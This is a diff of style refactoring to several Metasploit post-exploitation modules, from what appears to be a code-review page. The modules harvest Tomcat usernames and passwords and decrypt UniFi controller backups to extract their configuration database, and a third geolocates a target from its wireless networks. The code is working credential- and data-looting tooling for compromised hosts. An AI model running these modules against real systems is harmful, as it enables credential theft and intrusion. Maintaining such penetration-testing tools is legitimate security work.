@@ -165,13 +171,13 @@ class MetasploitModule < Msf::Post
|
||||
xml.each do |line|
|
||||
if line.include?('<Connector') && !comment_block
|
||||
i = 0
|
||||
while i < $username.count
|
||||
$port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
|
||||
while i < @username.count
|
||||
@port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
|
||||
i += 1
|
||||
end
|
||||
elsif line.include?('<!--')
|
||||
comment_block = true
|
||||
elsif line.include?(('-->')) && comment_block
|
||||
elsif line.include?('-->') && comment_block
|
||||
comment_block = false
|
||||
end
|
||||
end
|
||||
@@ -186,29 +192,29 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
def run
|
||||
if sysinfo
|
||||
if sysinfo['OS'].include? 'Windows'
|
||||
gatherwin
|
||||
if sysinfo['OS'].include?('Windows')
|
||||
gather_win
|
||||
else
|
||||
gathernix
|
||||
gather_nix
|
||||
end
|
||||
else
|
||||
print_error('Incompatible session type, sysinfo is not available.')
|
||||
end
|
||||
|
||||
if $username.empty?
|
||||
if @username.empty?
|
||||
print_status('No user credentials have been found')
|
||||
end
|
||||
|
||||
i = 0
|
||||
while i < $username.count
|
||||
print_good("Username and password found in #{$paths[i]} - #{$username[i]}:#{$password[i]}")
|
||||
report_creds($username[i], $password[i], $port[i])
|
||||
while i < @username.count
|
||||
print_good("Username and password found in #{@paths[i]} - #{@username[i]}:#{@password[i]}")
|
||||
report_creds(@username[i], @password[i], @port[i])
|
||||
i += 1
|
||||
end
|
||||
|
||||
$username = []
|
||||
$password = []
|
||||
$port = []
|
||||
$paths = []
|
||||
@username = []
|
||||
@password = []
|
||||
@port = []
|
||||
@paths = []
|
||||
end
|
||||
end
|
||||
|
||||
@@ -37,7 +37,12 @@ class MetasploitModule < Msf::Post
|
||||
['URL', 'https://github.com/justingist/POSH-Ubiquiti/blob/master/Posh-UBNT.psm1'],
|
||||
['URL', 'https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation'],
|
||||
['URL', 'https://community.ubnt.com/t5/UniFi-Wireless/unf-controller-backup-file-format/td-p/1624105']
|
||||
]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
@@ -47,61 +52,70 @@ class MetasploitModule < Msf::Post
|
||||
])
|
||||
end
|
||||
|
||||
def find_save_files(d)
|
||||
def find_save_files(directory)
|
||||
case session.platform
|
||||
when 'windows'
|
||||
files = session.fs.dir.foreach(d)
|
||||
files = session.fs.dir.foreach(directory)
|
||||
else
|
||||
# when 'linux', 'osx', 'unifi'
|
||||
# osx will have a space in it by default, so we wrap the directory in quotes
|
||||
files = cmd_exec("ls '#{d}'").split(/\r\n|\r|\n/)
|
||||
files = cmd_exec("ls '#{directory}'").split(/\r\n|\r|\n/)
|
||||
end
|
||||
|
||||
files.each do |file|
|
||||
full = "#{d}/#{file}"
|
||||
full = "#{directory}/#{file}"
|
||||
if directory?(full) && !['.', '..'].include?(file)
|
||||
find_save_files(full)
|
||||
next
|
||||
end
|
||||
|
||||
unless file.end_with? '.unf'
|
||||
next
|
||||
end
|
||||
next unless file.end_with?('.unf')
|
||||
|
||||
f = read_file(full)
|
||||
if f.nil?
|
||||
print_error("#{full} read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!")
|
||||
next
|
||||
end
|
||||
loot_path = store_loot('ubiquiti.unifi.backup', 'application/zip', session,
|
||||
f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip')
|
||||
|
||||
loot_path = store_loot(
|
||||
'ubiquiti.unifi.backup', 'application/zip', session,
|
||||
f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip'
|
||||
)
|
||||
print_good("File #{full} saved to #{loot_path}")
|
||||
decrypted_data = decrypt_unf(f)
|
||||
if decrypted_data.nil? || decrypted_data.empty?
|
||||
print_error("Unable to decrypt #{loot_path}")
|
||||
next
|
||||
end
|
||||
loot_path = store_loot('ubiquiti.unifi.backup_decrypted', 'application/zip', session,
|
||||
decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip')
|
||||
loot_path = store_loot(
|
||||
'ubiquiti.unifi.backup_decrypted', 'application/zip', session,
|
||||
decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip'
|
||||
)
|
||||
print_good("File #{file} DECRYPTED and saved to #{loot_path}. File needs to be repair via `zip -FF`")
|
||||
|
||||
# ruby zip can't repair, we can try on command line but its not likely to succeed on all platforms
|
||||
# tested on kali
|
||||
repaired = repair_zip(loot_path)
|
||||
if repaired.nil?
|
||||
fail_with Failure::Unknown, "Repair failed on #{loot_path.path}"
|
||||
fail_with(Failure::Unknown, "Repair failed on #{loot_path.path}")
|
||||
end
|
||||
loot_path = store_loot('ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,
|
||||
repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip')
|
||||
|
||||
loot_path = store_loot(
|
||||
'ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,
|
||||
repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip'
|
||||
)
|
||||
print_good("File #{full} DECRYPTED and REPAIRED and saved to #{loot_path}.")
|
||||
config_db = extract_and_process_db(loot_path)
|
||||
if config_db.nil?
|
||||
fail_with Failure::Unknown, 'Unable to locate db.gz config database file'
|
||||
fail_with(Failure::Unknown, 'Unable to locate db.gz config database file')
|
||||
end
|
||||
print_status('Converting BSON to JSON.')
|
||||
unifi_config_db_json = bson_to_json(config_db)
|
||||
|
||||
if unifi_config_db_json == {}
|
||||
fail_with Failure::Unknown, 'Error in file conversion from BSON to JSON.'
|
||||
fail_with(Failure::Unknown, 'Error in file conversion from BSON to JSON.')
|
||||
end
|
||||
|
||||
unifi_config_eater(session.session_host, session.session_port, unifi_config_db_json)
|
||||
end
|
||||
end
|
||||
@@ -140,7 +154,7 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
# read system.properties
|
||||
if datastore['SYSTEMFILE']
|
||||
sprop = datastore['SYSTEMFILE']
|
||||
datastore['SYSTEMFILE']
|
||||
vprint_status("Utilizing custom system.properties file location: #{datastore['SYSTEMFILE']}")
|
||||
end
|
||||
|
||||
@@ -154,7 +168,7 @@ class MetasploitModule < Msf::Post
|
||||
loot_path = store_loot('ubiquiti.system.properties', 'text/plain', session, data, sprop)
|
||||
vprint_status("File #{sprop} saved to #{loot_path}")
|
||||
print_good("Read UniFi Controller file #{sprop}")
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
print_error("Failed to read #{sprop}")
|
||||
data = ''
|
||||
end
|
||||
|
||||
@@ -25,6 +25,11 @@ class MetasploitModule < Msf::Post
|
||||
android_*
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -94,10 +99,13 @@ class MetasploitModule < Msf::Post
|
||||
if wlan_list.blank?
|
||||
print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.')
|
||||
return
|
||||
elsif datastore['APIKEY'].empty?
|
||||
end
|
||||
|
||||
if datastore['APIKEY'].empty?
|
||||
print_error('Google API key is required.')
|
||||
return
|
||||
end
|
||||
|
||||
g = Rex::Google::Geolocation.new
|
||||
g.set_api_key(datastore['APIKEY'])
|
||||
wlan_list.each do |wlan|
|
||||
@@ -218,8 +226,9 @@ class MetasploitModule < Msf::Post
|
||||
print_error("The target's platform, #{session.platform}, is not supported at this time.")
|
||||
return nil
|
||||
end
|
||||
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
|
||||
rescue ::Exception => e
|
||||
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error(e.message)
|
||||
rescue StandardError => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user